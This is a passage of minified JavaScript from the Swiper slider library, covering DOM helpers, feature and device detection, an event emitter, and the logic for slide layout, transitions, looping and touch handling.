r=a.previousElementSibling;e?s(r).is(e)&&t.push(r):t.push(r),a=r}return new i(t)},parent:function(e){for(var t=[],i=0;i<this.length;i+=1)null!==this[i].parentNode&&(e?s(this[i].parentNode).is(e)&&t.push(this[i].parentNode):t.push(this[i].parentNode));return s(a(t))},parents:function(e){for(var t=[],i=0;i<this.length;i+=1)for(var r=this[i].parentNode;r;)e?s(r).is(e)&&t.push(r):t.push(r),r=r.parentNode;return s(a(t))},closest:function(e){var t=this;return void 0===e?new i([]):(t.is(e)||(t=t.parents(e).eq(0)),t)},find:function(e){for(var t=[],s=0;s<this.length;s+=1)for(var a=this[s].querySelectorAll(e),r=0;r<a.length;r+=1)t.push(a[r]);return new i(t)},children:function(e){for(var t=[],r=0;r<this.length;r+=1)for(var n=this[r].childNodes,o=0;o<n.length;o+=1)e?1===n[o].nodeType&&s(n[o]).is(e)&&t.push(n[o]):1===n[o].nodeType&&t.push(n[o]);return new i(a(t))},remove:function(){for(var e=0;e<this.length;e+=1)this[e].parentNode&&this[e].parentNode.removeChild(this[e]);return this},add:function(){for(var e=[],t=arguments.length;t--;)e[t]=arguments[t];var i,a;for(i=0;i<e.length;i+=1){var r=s(e[i]);for(a=0;a<r.length;a+=1)this[this.length]=r[a],this.length+=1}return this},styles:function(){return this[0]?t.getComputedStyle(this[0],null):{}}};Object.keys(r).forEach(function(e){s.fn[e]=r[e]});var n,o,l,d={deleteProps:function(e){var t=e;Object.keys(t).forEach(function(e){try{t[e]=null}catch(e){}try{delete t[e]}catch(e){}})},nextTick:function(e,t){return void 0===t&&(t=0),setTimeout(e,t)},now:function(){return Date.now()},getTranslate:function(e,i){var s,a,r;void 0===i&&(i="x");var n=t.getComputedStyle(e,null);return t.WebKitCSSMatrix?((a=n.transform||n.webkitTransform).split(",").length>6&&(a=a.split(", ").map(function(e){return e.replace(",",".")}).join(", ")),r=new t.WebKitCSSMatrix("none"===a?"":a)):s=(r=n.MozTransform||n.OTransform||n.MsTransform||n.msTransform||n.transform||n.getPropertyValue("transform").replace("translate(","matrix(1, 0, 0, 1,")).toString().split(","),"x"===i&&(a=t.WebKitCSSMatrix?r.m41:16===s.length?parseFloat(s[12]):parseFloat(s[4])),"y"===i&&(a=t.WebKitCSSMatrix?r.m42:16===s.length?parseFloat(s[13]):parseFloat(s[5])),a||0},parseUrlQuery:function(e){var i,s,a,r,n={},o=e||t.location.href;if("string"==typeof o&&o.length)for(r=(s=(o=o.indexOf("?")>-1?o.replace(/\S*\?/,""):"").split("&").filter(function(e){return""!==e})).length,i=0;i<r;i+=1)a=s[i].replace(/#\S+/g,"").split("="),n[decodeURIComponent(a[0])]=void 0===a[1]?void 0:decodeURIComponent(a[1])||"";return n},isObject:function(e){return"object"==typeof e&&null!==e&&e.constructor&&e.constructor===Object},extend:function(){for(var e=[],t=arguments.length;t--;)e[t]=arguments[t];for(var i=Object(e[0]),s=1;s<e.length;s+=1){var a=e[s];if(void 0!==a&&null!==a)for(var r=Object.keys(Object(a)),n=0,o=r.length;n<o;n+=1){var l=r[n],h=Object.getOwnPropertyDescriptor(a,l);void 0!==h&&h.enumerable&&(d.isObject(i[l])&&d.isObject(a[l])?d.extend(i[l],a[l]):!d.isObject(i[l])&&d.isObject(a[l])?(i[l]={},d.extend(i[l],a[l])):i[l]=a[l])}}return i}},h=(l=e.createElement("div"),{touch:t.Modernizr&&!0===t.Modernizr.touch||!!("ontouchstart"in t||t.DocumentTouch&&e instanceof t.DocumentTouch),pointerEvents:!(!t.navigator.pointerEnabled&&!t.PointerEvent),prefixedPointerEvents:!!t.navigator.msPointerEnabled,transition:(o=l.style,"transition"in o||"webkitTransition"in o||"MozTransition"in o),transforms3d:t.Modernizr&&!0===t.Modernizr.csstransforms3d||(n=l.style,"webkitPerspective"in n||"MozPerspective"in n||"OPerspective"in n||"MsPerspective"in n||"perspective"in n),flexbox:function(){for(var e=l.style,t="alignItems webkitAlignItems webkitBoxAlign msFlexAlign mozBoxAlign webkitFlexDirection msFlexDirection mozBoxDirection mozBoxOrient webkitBoxDirection webkitBoxOrient".split(" "),i=0;i<t.length;i+=1)if(t[i]in e)return!0;return!1}(),observer:"MutationObserver"in t||"WebkitMutationObserver"in t,passiveListener:function(){var e=!1;try{var i=Object.defineProperty({},"passive",{get:function(){e=!0}});t.addEventListener("testPassiveListener",null,i)}catch(e){}return e}(),gestures:"ongesturestart"in t}),p=function(e){void 0===e&&(e={});var t=this;t.params=e,t.eventsListeners={},t.params&&t.params.on&&Object.keys(t.params.on).forEach(function(e){t.on(e,t.params.on[e])})},c={components:{configurable:!0}};p.prototype.on=function(e,t,i){var s=this;if("function"!=typeof t)return s;var a=i?"unshift":"push";return e.split(" ").forEach(function(e){s.eventsListeners[e]||(s.eventsListeners[e]=[]),s.eventsListeners[e][a](t)}),s},p.prototype.once=function(e,t,i){var s=this;if("function"!=typeof t)return s;return s.on(e,function i(){for(var a=[],r=arguments.length;r--;)a[r]=arguments[r];t.apply(s,a),s.off(e,i)},i)},p.prototype.off=function(e,t){var i=this;return i.eventsListeners?(e.split(" ").forEach(function(e){void 0===t?i.eventsListeners[e]=[]:i.eventsListeners[e].forEach(function(s,a){s===t&&i.eventsListeners[e].splice(a,1)})}),i):i},p.prototype.emit=function(){for(var e=[],t=arguments.length;t--;)e[t]=arguments[t];var i,s,a,r=this;return r.eventsListeners?("string"==typeof e[0]||Array.isArray(e[0])?(i=e[0],s=e.slice(1,e.length),a=r):(i=e[0].events,s=e[0].data,a=e[0].context||r),(Array.isArray(i)?i:i.split(" ")).forEach(function(e){if(r.eventsListeners&&r.eventsListeners[e]){var t=[];r.eventsListeners[e].forEach(function(e){t.push(e)}),t.forEach(function(e){e.apply(a,s)})}}),r):r},p.prototype.useModulesParams=function(e){var t=this;t.modules&&Object.keys(t.modules).forEach(function(i){var s=t.modules[i];s.params&&d.extend(e,s.params)})},p.prototype.useModules=function(e){void 0===e&&(e={});var t=this;t.modules&&Object.keys(t.modules).forEach(function(i){var s=t.modules[i],a=e[i]||{};s.instance&&Object.keys(s.instance).forEach(function(e){var i=s.instance[e];t[e]="function"==typeof i?i.bind(t):i}),s.on&&t.on&&Object.keys(s.on).forEach(function(e){t.on(e,s.on[e])}),s.create&&s.create.bind(t)(a)})},c.components.set=function(e){this.use&&this.use(e)},p.installModule=function(e){for(var t=[],i=arguments.length-1;i-- >0;)t[i]=arguments[i+1];var s=this;s.prototype.modules||(s.prototype.modules={});var a=e.name||Object.keys(s.prototype.modules).length+"_"+d.now();return s.prototype.modules[a]=e,e.proto&&Object.keys(e.proto).forEach(function(t){s.prototype[t]=e.proto[t]}),e.static&&Object.keys(e.static).forEach(function(t){s[t]=e.static[t]}),e.install&&e.install.apply(s,t),s},p.use=function(e){for(var t=[],i=arguments.length-1;i-- >0;)t[i]=arguments[i+1];var s=this;return Array.isArray(e)?(e.forEach(function(e){return s.installModule(e)}),s):s.installModule.apply(s,[e].concat(t))},Object.defineProperties(p,c);var u={updateSize:function(){var e,t,i=this.$el;e=void 0!==this.params.width?this.params.width:i[0].clientWidth,t=void 0!==this.params.height?this.params.height:i[0].clientHeight,0===e&&this.isHorizontal()||0===t&&this.isVertical()||(e=e-parseInt(i.css("padding-left"),10)-parseInt(i.css("padding-right"),10),t=t-parseInt(i.css("padding-top"),10)-parseInt(i.css("padding-bottom"),10),d.extend(this,{width:e,height:t,size:this.isHorizontal()?e:t}))},updateSlides:function(){var e=this.params,i=this.$wrapperEl,s=this.size,a=this.rtlTranslate,r=this.wrongRTL,n=i.children("."+this.params.slideClass),o=this.virtual&&e.virtual.enabled?this.virtual.slides.length:n.length,l=[],p=[],c=[],u=e.slidesOffsetBefore;"function"==typeof u&&(u=e.slidesOffsetBefore.call(this));var v=e.slidesOffsetAfter;"function"==typeof v&&(v=e.slidesOffsetAfter.call(this));var f=o,m=this.snapGrid.length,g=this.snapGrid.length,b=e.spaceBetween,w=-u,y=0,x=0;if(void 0!==s){var E,T;"string"==typeof b&&b.indexOf("%")>=0&&(b=parseFloat(b.replace("%",""))/100*s),this.virtualSize=-b,a?n.css({marginLeft:"",marginTop:""}):n.css({marginRight:"",marginBottom:""}),e.slidesPerColumn>1&&(E=Math.floor(o/e.slidesPerColumn)===o/this.params.slidesPerColumn?o:Math.ceil(o/e.slidesPerColumn)*e.slidesPerColumn,"auto"!==e.slidesPerView&&"row"===e.slidesPerColumnFill&&(E=Math.max(E,e.slidesPerView*e.slidesPerColumn)));for(var S,C=e.slidesPerColumn,M=E/C,z=M-(e.slidesPerColumn*M-o),k=0;k<o;k+=1){T=0;var P=n.eq(k);if(e.slidesPerColumn>1){var $=void 0,L=void 0,I=void 0;"column"===e.slidesPerColumnFill?(I=k-(L=Math.floor(k/C))*C,(L>z||L===z&&I===C-1)&&(I+=1)>=C&&(I=0,L+=1),$=L+I*E/C,P.css({"-webkit-box-ordinal-group":$,"-moz-box-ordinal-group":$,"-ms-flex-order":$,"-webkit-order":$,order:$})):L=k-(I=Math.floor(k/M))*M,P.css("margin-"+(this.isHorizontal()?"top":"left"),0!==I&&e.spaceBetween&&e.spaceBetween+"px").attr("data-swiper-column",L).attr("data-swiper-row",I)}if("none"!==P.css("display")){if("auto"===e.slidesPerView){var D=t.getComputedStyle(P[0],null);T=this.isHorizontal()?P[0].getBoundingClientRect().width+parseFloat(D.getPropertyValue("margin-left"))+parseFloat(D.getPropertyValue("margin-right")):P[0].getBoundingClientRect().height+parseFloat(D.getPropertyValue("margin-top"))+parseFloat(D.getPropertyValue("margin-bottom")),e.roundLengths&&(T=Math.floor(T))}else T=(s-(e.slidesPerView-1)*b)/e.slidesPerView,e.roundLengths&&(T=Math.floor(T)),n[k]&&(this.isHorizontal()?n[k].style.width=T+"px":n[k].style.height=T+"px");n[k]&&(n[k].swiperSlideSize=T),c.push(T),e.centeredSlides?(w=w+T/2+y/2+b,0===y&&0!==k&&(w=w-s/2-b),0===k&&(w=w-s/2-b),Math.abs(w)<.001&&(w=0),x%e.slidesPerGroup==0&&l.push(w),p.push(w)):(x%e.slidesPerGroup==0&&l.push(w),p.push(w),w=w+T+b),this.virtualSize+=T+b,y=T,x+=1}}if(this.virtualSize=Math.max(this.virtualSize,s)+v,a&&r&&("slide"===e.effect||"coverflow"===e.effect)&&i.css({width:this.virtualSize+e.spaceBetween+"px"}),h.flexbox&&!e.setWrapperSize||(this.isHorizontal()?i.css({width:this.virtualSize+e.spaceBetween+"px"}):i.css({height:this.virtualSize+e.spaceBetween+"px"})),e.slidesPerColumn>1&&(this.virtualSize=(T+e.spaceBetween)*E,this.virtualSize=Math.ceil(this.virtualSize/e.slidesPerColumn)-e.spaceBetween,this.isHorizontal()?i.css({width:this.virtualSize+e.spaceBetween+"px"}):i.css({height:this.virtualSize+e.spaceBetween+"px"}),e.centeredSlides)){S=[];for(var O=0;O<l.length;O+=1)l[O]<this.virtualSize+l[0]&&S.push(l[O]);l=S}if(!e.centeredSlides){S=[];for(var A=0;A<l.length;A+=1)l[A]<=this.virtualSize-s&&S.push(l[A]);l=S,Math.floor(this.virtualSize-s)-Math.floor(l[l.length-1])>1&&l.push(this.virtualSize-s)}0===l.length&&(l=[0]),0!==e.spaceBetween&&(this.isHorizontal()?a?n.css({marginLeft:b+"px"}):n.css({marginRight:b+"px"}):n.css({marginBottom:b+"px"})),d.extend(this,{slides:n,snapGrid:l,slidesGrid:p,slidesSizesGrid:c}),o!==f&&this.emit("slidesLengthChange"),l.length!==m&&(this.params.watchOverflow&&this.checkOverflow(),this.emit("snapGridLengthChange")),p.length!==g&&this.emit("slidesGridLengthChange"),(e.watchSlidesProgress||e.watchSlidesVisibility)&&this.updateSlidesOffset()}},updateAutoHeight:function(e){var t,i=[],s=0;if("number"==typeof e?this.setTransition(e):!0===e&&this.setTransition(this.params.speed),"auto"!==this.params.slidesPerView&&this.params.slidesPerView>1)for(t=0;t<Math.ceil(this.params.slidesPerView);t+=1){var a=this.activeIndex+t;if(a>this.slides.length)break;i.push(this.slides.eq(a)[0])}else i.push(this.slides.eq(this.activeIndex)[0]);for(t=0;t<i.length;t+=1)if(void 0!==i[t]){var r=i[t].offsetHeight;s=r>s?r:s}s&&this.$wrapperEl.css("height",s+"px")},updateSlidesOffset:function(){for(var e=this.slides,t=0;t<e.length;t+=1)e[t].swiperSlideOffset=this.isHorizontal()?e[t].offsetLeft:e[t].offsetTop},updateSlidesProgress:function(e){void 0===e&&(e=this.translate||0);var t=this.params,i=this.slides,s=this.rtlTranslate;if(0!==i.length){void 0===i[0].swiperSlideOffset&&this.updateSlidesOffset();var a=-e;s&&(a=e),i.removeClass(t.slideVisibleClass);for(var r=0;r<i.length;r+=1){var n=i[r],o=(a+(t.centeredSlides?this.minTranslate():0)-n.swiperSlideOffset)/(n.swiperSlideSize+t.spaceBetween);if(t.watchSlidesVisibility){var l=-(a-n.swiperSlideOffset),d=l+this.slidesSizesGrid[r];(l>=0&&l<this.size||d>0&&d<=this.size||l<=0&&d>=this.size)&&i.eq(r).addClass(t.slideVisibleClass)}n.progress=s?-o:o}}},updateProgress:function(e){void 0===e&&(e=this.translate||0);var t=this.params,i=this.maxTranslate()-this.minTranslate(),s=this.progress,a=this.isBeginning,r=this.isEnd,n=a,o=r;0===i?(s=0,a=!0,r=!0):(a=(s=(e-this.minTranslate())/i)<=0,r=s>=1),d.extend(this,{progress:s,isBeginning:a,isEnd:r}),(t.watchSlidesProgress||t.watchSlidesVisibility)&&this.updateSlidesProgress(e),a&&!n&&this.emit("reachBeginning toEdge"),r&&!o&&this.emit("reachEnd toEdge"),(n&&!a||o&&!r)&&this.emit("fromEdge"),this.emit("progress",s)},updateSlidesClasses:function(){var e,t=this.slides,i=this.params,s=this.$wrapperEl,a=this.activeIndex,r=this.realIndex,n=this.virtual&&i.virtual.enabled;t.removeClass(i.slideActiveClass+" "+i.slideNextClass+" "+i.slidePrevClass+" "+i.slideDuplicateActiveClass+" "+i.slideDuplicateNextClass+" "+i.slideDuplicatePrevClass),(e=n?this.$wrapperEl.find("."+i.slideClass+'[data-swiper-slide-index="'+a+'"]'):t.eq(a)).addClass(i.slideActiveClass),i.loop&&(e.hasClass(i.slideDuplicateClass)?s.children("."+i.slideClass+":not(."+i.slideDuplicateClass+')[data-swiper-slide-index="'+r+'"]').addClass(i.slideDuplicateActiveClass):s.children("."+i.slideClass+"."+i.slideDuplicateClass+'[data-swiper-slide-index="'+r+'"]').addClass(i.slideDuplicateActiveClass));var o=e.nextAll("."+i.slideClass).eq(0).addClass(i.slideNextClass);i.loop&&0===o.length&&(o=t.eq(0)).addClass(i.slideNextClass);var l=e.prevAll("."+i.slideClass).eq(0).addClass(i.slidePrevClass);i.loop&&0===l.length&&(l=t.eq(-1)).addClass(i.slidePrevClass),i.loop&&(o.hasClass(i.slideDuplicateClass)?s.children("."+i.slideClass+":not(."+i.slideDuplicateClass+')[data-swiper-slide-index="'+o.attr("data-swiper-slide-index")+'"]').addClass(i.slideDuplicateNextClass):s.children("."+i.slideClass+"."+i.slideDuplicateClass+'[data-swiper-slide-index="'+o.attr("data-swiper-slide-index")+'"]').addClass(i.slideDuplicateNextClass),l.hasClass(i.slideDuplicateClass)?s.children("."+i.slideClass+":not(."+i.slideDuplicateClass+')[data-swiper-slide-index="'+l.attr("data-swiper-slide-index")+'"]').addClass(i.slideDuplicatePrevClass):s.children("."+i.slideClass+"."+i.slideDuplicateClass+'[data-swiper-slide-index="'+l.attr("data-swiper-slide-index")+'"]').addClass(i.slideDuplicatePrevClass))},updateActiveIndex:function(e){var t,i=this.rtlTranslate?this.translate:-this.translate,s=this.slidesGrid,a=this.snapGrid,r=this.params,n=this.activeIndex,o=this.realIndex,l=this.snapIndex,h=e;if(void 0===h){for(var p=0;p<s.length;p+=1)void 0!==s[p+1]?i>=s[p]&&i<s[p+1]-(s[p+1]-s[p])/2?h=p:i>=s[p]&&i<s[p+1]&&(h=p+1):i>=s[p]&&(h=p);r.normalizeSlideIndex&&(h<0||void 0===h)&&(h=0)}if((t=a.indexOf(i)>=0?a.indexOf(i):Math.floor(h/r.slidesPerGroup))>=a.length&&(t=a.length-1),h!==n){var c=parseInt(this.slides.eq(h).attr("data-swiper-slide-index")||h,10);d.extend(this,{snapIndex:t,realIndex:c,previousIndex:n,activeIndex:h}),this.emit("activeIndexChange"),this.emit("snapIndexChange"),o!==c&&this.emit("realIndexChange"),this.emit("slideChange")}else t!==l&&(this.snapIndex=t,this.emit("snapIndexChange"))},updateClickedSlide:function(e){var t=this.params,i=s(e.target).closest("."+t.slideClass)[0],a=!1;if(i)for(var r=0;r<this.slides.length;r+=1)this.slides[r]===i&&(a=!0);if(!i||!a)return this.clickedSlide=void 0,void(this.clickedIndex=void 0);this.clickedSlide=i,this.virtual&&this.params.virtual.enabled?this.clickedIndex=parseInt(s(i).attr("data-swiper-slide-index"),10):this.clickedIndex=s(i).index(),t.slideToClickedSlide&&void 0!==this.clickedIndex&&this.clickedIndex!==this.activeIndex&&this.slideToClickedSlide()}};var v={getTranslate:function(e){void 0===e&&(e=this.isHorizontal()?"x":"y");var t=this.params,i=this.rtlTranslate,s=this.translate,a=this.$wrapperEl;if(t.virtualTranslate)return i?-s:s;var r=d.getTranslate(a[0],e);return i&&(r=-r),r||0},setTranslate:function(e,t){var i=this.rtlTranslate,s=this.params,a=this.$wrapperEl,r=this.progress,n=0,o=0;this.isHorizontal()?n=i?-e:e:o=e,s.roundLengths&&(n=Math.floor(n),o=Math.floor(o)),s.virtualTranslate||(h.transforms3d?a.transform("translate3d("+n+"px, "+o+"px, 0px)"):a.transform("translate("+n+"px, "+o+"px)")),this.translate=this.isHorizontal()?n:o;var l=this.maxTranslate()-this.minTranslate();(0===l?0:(e-this.minTranslate())/l)!==r&&this.updateProgress(e),this.emit("setTranslate",this.translate,t)},minTranslate:function(){return-this.snapGrid[0]},maxTranslate:function(){return-this.snapGrid[this.snapGrid.length-1]}};var f={setTransition:function(e,t){this.$wrapperEl.transition(e),this.emit("setTransition",e,t)},transitionStart:function(e,t){void 0===e&&(e=!0);var i=this.activeIndex,s=this.params,a=this.previousIndex;s.autoHeight&&this.updateAutoHeight();var r=t;if(r||(r=i>a?"next":i<a?"prev":"reset"),this.emit("transitionStart"),e&&i!==a){if("reset"===r)return void this.emit("slideResetTransitionStart");this.emit("slideChangeTransitionStart"),"next"===r?this.emit("slideNextTransitionStart"):this.emit("slidePrevTransitionStart")}},transitionEnd:function(e,t){void 0===e&&(e=!0);var i=this.activeIndex,s=this.previousIndex;this.animating=!1,this.setTransition(0);var a=t;if(a||(a=i>s?"next":i<s?"prev":"reset"),this.emit("transitionEnd"),e&&i!==s){if("reset"===a)return void this.emit("slideResetTransitionEnd");this.emit("slideChangeTransitionEnd"),"next"===a?this.emit("slideNextTransitionEnd"):this.emit("slidePrevTransitionEnd")}}};var m={slideTo:function(e,t,i,s){void 0===e&&(e=0),void 0===t&&(t=this.params.speed),void 0===i&&(i=!0);var a=this,r=e;r<0&&(r=0);var n=a.params,o=a.snapGrid,l=a.slidesGrid,d=a.previousIndex,p=a.activeIndex,c=a.rtlTranslate,u=a.$wrapperEl;if(a.animating&&n.preventIntercationOnTransition)return!1;var v=Math.floor(r/n.slidesPerGroup);v>=o.length&&(v=o.length-1),(p||n.initialSlide||0)===(d||0)&&i&&a.emit("beforeSlideChangeStart");var f,m=-o[v];if(a.updateProgress(m),n.normalizeSlideIndex)for(var g=0;g<l.length;g+=1)-Math.floor(100*m)>=Math.floor(100*l[g])&&(r=g);if(a.initialized&&r!==p){if(!a.allowSlideNext&&m<a.translate&&m<a.minTranslate())return!1;if(!a.allowSlidePrev&&m>a.translate&&m>a.maxTranslate()&&(p||0)!==r)return!1}return f=r>p?"next":r<p?"prev":"reset",c&&-m===a.translate||!c&&m===a.translate?(a.updateActiveIndex(r),n.autoHeight&&a.updateAutoHeight(),a.updateSlidesClasses(),"slide"!==n.effect&&a.setTranslate(m),"reset"!==f&&(a.transitionStart(i,f),a.transitionEnd(i,f)),!1):(0!==t&&h.transition?(a.setTransition(t),a.setTranslate(m),a.updateActiveIndex(r),a.updateSlidesClasses(),a.emit("beforeTransitionStart",t,s),a.transitionStart(i,f),a.animating||(a.animating=!0,u.transitionEnd(function(){a&&!a.destroyed&&a.transitionEnd(i,f)}))):(a.setTransition(0),a.setTranslate(m),a.updateActiveIndex(r),a.updateSlidesClasses(),a.emit("beforeTransitionStart",t,s),a.transitionStart(i,f),a.transitionEnd(i,f)),!0)},slideToLoop:function(e,t,i,s){void 0===e&&(e=0),void 0===t&&(t=this.params.speed),void 0===i&&(i=!0);var a=e;return this.params.loop&&(a+=this.loopedSlides),this.slideTo(a,t,i,s)},slideNext:function(e,t,i){void 0===e&&(e=this.params.speed),void 0===t&&(t=!0);var s=this.params,a=this.animating;return s.loop?!a&&(this.loopFix(),this._clientLeft=this.$wrapperEl[0].clientLeft,this.slideTo(this.activeIndex+s.slidesPerGroup,e,t,i)):this.slideTo(this.activeIndex+s.slidesPerGroup,e,t,i)},slidePrev:function(e,t,i){void 0===e&&(e=this.params.speed),void 0===t&&(t=!0);var s=this.params,a=this.animating,r=this.snapGrid,n=this.slidesGrid,o=this.rtlTranslate;if(s.loop){if(a)return!1;this.loopFix(),this._clientLeft=this.$wrapperEl[0].clientLeft}var l,d=o?this.translate:-this.translate,h=(r[r.indexOf(d)],r[r.indexOf(d)-1]);return h&&(l=n.indexOf(h))<0&&(l=this.activeIndex-1),this.slideTo(l,e,t,i)},slideReset:function(e,t,i){return void 0===e&&(e=this.params.speed),void 0===t&&(t=!0),this.slideTo(this.activeIndex,e,t,i)},slideToClosest:function(e,t,i){void 0===e&&(e=this.params.speed),void 0===t&&(t=!0);var s=this.activeIndex,a=Math.floor(s/this.params.slidesPerGroup);if(a<this.snapGrid.length-1){var r=this.rtlTranslate?this.translate:-this.translate,n=this.snapGrid[a];r-n>(this.snapGrid[a+1]-n)/2&&(s=this.params.slidesPerGroup)}return this.slideTo(s,e,t,i)},slideToClickedSlide:function(){var e,t=this,i=t.params,a=t.$wrapperEl,r="auto"===i.slidesPerView?t.slidesPerViewDynamic():i.slidesPerView,n=t.clickedIndex;if(i.loop){if(t.animating)return;e=parseInt(s(t.clickedSlide).attr("data-swiper-slide-index"),10),i.centeredSlides?n<t.loopedSlides-r/2||n>t.slides.length-t.loopedSlides+r/2?(t.loopFix(),n=a.children("."+i.slideClass+'[data-swiper-slide-index="'+e+'"]:not(.'+i.slideDuplicateClass+")").eq(0).index(),d.nextTick(function(){t.slideTo(n)})):t.slideTo(n):n>t.slides.length-r?(t.loopFix(),n=a.children("."+i.slideClass+'[data-swiper-slide-index="'+e+'"]:not(.'+i.slideDuplicateClass+")").eq(0).index(),d.nextTick(function(){t.slideTo(n)})):t.slideTo(n)}else t.slideTo(n)}};var g={loopCreate:function(){var t=this,i=t.params,a=t.$wrapperEl;a.children("."+i.slideClass+"."+i.slideDuplicateClass).remove();var r=a.children("."+i.slideClass);if(i.loopFillGroupWithBlank){var n=i.slidesPerGroup-r.length%i.slidesPerGroup;if(n!==i.slidesPerGroup){for(var o=0;o<n;o+=1){var l=s(e.createElement("div")).addClass(i.slideClass+" "+i.slideBlankClass);a.append(l)}r=a.children("."+i.slideClass)}}"auto"!==i.slidesPerView||i.loopedSlides||(i.loopedSlides=r.length),t.loopedSlides=parseInt(i.loopedSlides||i.slidesPerView,10),t.loopedSlides+=i.loopAdditionalSlides,t.loopedSlides>r.length&&(t.loopedSlides=r.length);var d=[],h=[];r.each(function(e,i){var a=s(i);e<t.loopedSlides&&h.push(i),e<r.length&&e>=r.length-t.loopedSlides&&d.push(i),a.attr("data-swiper-slide-index",e)});for(var p=0;p<h.length;p+=1)a.append(s(h[p].cloneNode(!0)).addClass(i.slideDuplicateClass));for(var c=d.length-1;c>=0;c-=1)a.prepend(s(d[c].cloneNode(!0)).addClass(i.slideDuplicateClass))},loopFix:function(){var e,t=this.params,i=this.activeIndex,s=this.slides,a=this.loopedSlides,r=this.allowSlidePrev,n=this.allowSlideNext,o=this.snapGrid,l=this.rtlTranslate;this.allowSlidePrev=!0,this.allowSlideNext=!0;var d=-o[i]-this.getTranslate();i<a?(e=s.length-3*a+i,e+=a,this.slideTo(e,0,!1,!0)&&0!==d&&this.setTranslate((l?-this.translate:this.translate)-d)):("auto"===t.slidesPerView&&i>=2*a||i>s.length-2*t.slidesPerView)&&(e=-s.length+i+a,e+=a,this.slideTo(e,0,!1,!0)&&0!==d&&this.setTranslate((l?-this.translate:this.translate)-d));this.allowSlidePrev=r,this.allowSlideNext=n},loopDestroy:function(){var e=this.$wrapperEl,t=this.params,i=this.slides;e.children("."+t.slideClass+"."+t.slideDuplicateClass).remove(),i.removeAttr("data-swiper-slide-index")}};var b={setGrabCursor:function(e){if(!h.touch&&this.params.simulateTouch){var t=this.el;t.style.cursor="move",t.style.cursor=e?"-webkit-grabbing":"-webkit-grab",t.style.cursor=e?"-moz-grabbin":"-moz-grab",t.style.cursor=e?"grabbing":"grab"}},unsetGrabCursor:function(){h.touch||(this.el.style.cursor="")}};var w={appendSlide:function(e){var t=this.$wrapperEl,i=this.params;if(i.loop&&this.loopDestroy(),"object"==typeof e&&"length"in e)for(var s=0;s<e.length;s+=1)e[s]&&t.append(e[s]);else t.append(e);i.loop&&this.loopCreate(),i.observer&&h.observer||this.update()},prependSlide:function(e){var t=this.params,i=this.$wrapperEl,s=this.activeIndex;t.loop&&this.loopDestroy();var a=s+1;if("object"==typeof e&&"length"in e){for(var r=0;r<e.length;r+=1)e[r]&&i.prepend(e[r]);a=s+e.length}else i.prepend(e);t.loop&&this.loopCreate(),t.observer&&h.observer||this.update(),this.slideTo(a,0,!1)},removeSlide:function(e){var t=this.params,i=this.$wrapperEl,s=this.activeIndex;t.loop&&(this.loopDestroy(),this.slides=i.children("."+t.slideClass));var a,r=s;if("object"==typeof e&&"length"in e){for(var n=0;n<e.length;n+=1)a=e[n],this.slides[a]&&this.slides.eq(a).remove(),a<r&&(r-=1);r=Math.max(r,0)}else a=e,this.slides[a]&&this.slides.eq(a).remove(),a<r&&(r-=1),r=Math.max(r,0);t.loop&&this.loopCreate(),t.observer&&h.observer||this.update(),t.loop?this.slideTo(r+this.loopedSlides,0,!1):this.slideTo(r,0,!1)},removeAllSlides:function(){for(var e=[],t=0;t<this.slides.length;t+=1)e.push(t);this.removeSlide(e)}},y=function(){var i=t.navigator.userAgent,s={ios:!1,android:!1,androidChrome:!1,desktop:!1,windows:!1,iphone:!1,ipod:!1,ipad:!1,cordova:t.cordova||t.phonegap,phonegap:t.cordova||t.phonegap},a=i.match(/(Windows Phone);?[\s\/]+([\d.]+)?/),r=i.match(/(Android);?[\s\/]+([\d.]+)?/),n=i.match(/(iPad).*OS\s([\d_]+)/),o=i.match(/(iPod)(.*OS\s([\d_]+))?/),l=!n&&i.match(/(iPhone\sOS|iOS)\s([\d_]+)/);if(a&&(s.os="windows",s.osVersion=a[2],s.windows=!0),r&&!a&&(s.os="android",s.osVersion=r[2],s.android=!0,s.androidChrome=i.toLowerCase().indexOf("chrome")>=0),(n||l||o)&&(s.os="ios",s.ios=!0),l&&!o&&(s.osVersion=l[2].replace(/_/g,"."),s.iphone=!0),n&&(s.osVersion=n[2].replace(/_/g,"."),s.ipad=!0),o&&(s.osVersion=o[3]?o[3].replace(/_/g,"."):null,s.iphone=!0),s.ios&&s.osVersion&&i.indexOf("Version/")>=0&&"10"===s.osVersion.split(".")[0]&&(s.osVersion=i.toLowerCase().split("version/")[1].split(" ")[0]),s.desktop=!(s.os||s.android||s.webView),s.webView=(l||n||o)&&i.match(/.*AppleWebKit(?!.*Safari)/i),s.os&&"ios"===s.os){var d=s.osVersion.split("."),h=e.querySelector('meta[name="viewport"]');s.minimalUi=!s.webView&&(o||l)&&(1*d[0]==7?1*d[1]>=1:1*d[0]>7)&&h&&h.getAttribute("content").indexOf("minimal-ui")>=0}return s.pixelRatio=t.devicePixelRatio||1,s}();function x(){var e=this.params,t=this.el;if(!t||0!==t.offsetWidth){e.breakpoints&&this.setBreakpoint();var i=this.allowSlideNext,s=this.allowSlidePrev,a=this.snapGrid;if(this.allowSlideNext=!0,this.allowSlidePrev=!0,this.updateSize(),this.updateSlides(),e.freeMode){var r=Math.min(Math.max(this.translate,this.maxTranslate()),this.minTranslate());this.setTranslate(r),this.updateActiveIndex(),this.updateSlidesClasses(),e.autoHeight&&this.updateAutoHeight()}else this.updateSlidesClasses(),("auto"===e.slidesPerView||e.slidesPerView>1)&&this.isEnd&&!this.params.centeredSlides?this.slideTo(this.slides.length-1,0,!1,!0):this.slideTo(this.activeIndex,0,!1,!0);this.allowSlidePrev=s,this.allowSlideNext=i,this.params.watchOverflow&&a!==this.snapGrid&&this.checkOverflow()}}var E={attachEvents:function(){var i=this.params,a=this.touchEvents,r=this.el,n=this.wrapperEl;this.onTouchStart=function(i){var a=this.touchEventsData,r=this.params,n=this.touches;if(!this.animating||!r.preventIntercationOnTransition){var o=i;if(o.originalEvent&&(o=o.originalEvent),a.isTouchEvent="touchstart"===o.type,(a.isTouchEvent||!("which"in o)||3!==o.which)&&(!a.isTouched||!a.isMoved))if(r.noSwiping&&s(o.target).closest(r.noSwipingSelector?r.noSwipingSelector:"."+r.noSwipingClass)[0])this.allowClick=!0;else if(!r.swipeHandler||s(o).closest(r.swipeHandler)[0]){n.currentX="touchstart"===o.type?o.targetTouches[0].pageX:o.pageX,n.currentY="touchstart"===o.type?o.targetTouches[0].pageY:o.pageY;var 